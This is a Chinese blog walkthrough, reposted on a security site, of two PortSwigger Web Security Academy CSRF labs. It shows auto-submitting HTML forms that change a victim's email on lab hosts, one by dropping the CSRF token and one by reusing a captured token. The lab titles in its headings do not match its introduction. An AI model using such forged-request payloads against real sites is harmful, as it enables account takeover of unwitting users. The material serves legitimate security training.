portswigger CSRF靶场-Lab3,4

admin 2024年2月21日21:00:16评论7 views字数 1036阅读3分27秒阅读模式

Lab 3)CSRF where token validation depends on token being present(删除token参数绕过

(Lab 4) CSRF where token is not tied to user session(token不绑定用户,截断token绕过

portswigger CSRF靶场-Lab3,4靶场地址:https://portswigger.net/web-security

实验3:CSRF where token validation depends on request method

1.登录后修改邮箱并删除token,生成csrf包

portswigger CSRF靶场-Lab3,4

portswigger CSRF靶场-Lab3,4

2.使用burpsuite生成的html包进行存储和向受害者发送

portswigger CSRF靶场-Lab3,4

3.再使用靶场提供的包进行存储和向受害者发送,通过此关(每次发送需要变更邮箱)

<form action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">    <input type="hidden" name="email" value="anything%40web-security-academy.net"> </form> <script>        document.forms[0].submit(); </script>

portswigger CSRF靶场-Lab3,4

实验4:CSRF where token validation depends on request method

1.登录后修改邮箱截断并获取token

portswigger CSRF靶场-Lab3,4

portswigger CSRF靶场-Lab3,4

2.使用如下POC进行存储和向受害者发送,通过此关(每次发送需要变更邮箱)

<form action="https://0a5900b5044fe6828020b7ef00c400f0.web-security-academy.net/my-account/change-email" method="POST">

  <input type="hidden" name="email" value="1123&#64;123&#46;com" />

  <input type="hidden" name="csrf" value="44F7daYcsTeVri26CVhxlmcrXYOrCN8C" />

  <input type="submit" value="Submit request" />

</form>

<script>

document.forms[0].submit();

</script>

portswigger CSRF靶场-Lab3,4

原文始发于微信公众号(鲲哥的Bypass之旅):portswigger CSRF靶场-Lab3,4

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月21日21:00:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   portswigger CSRF靶场-Lab3,4https://cn-sec.com/archives/2512457.html

发表评论

匿名网友 填写信息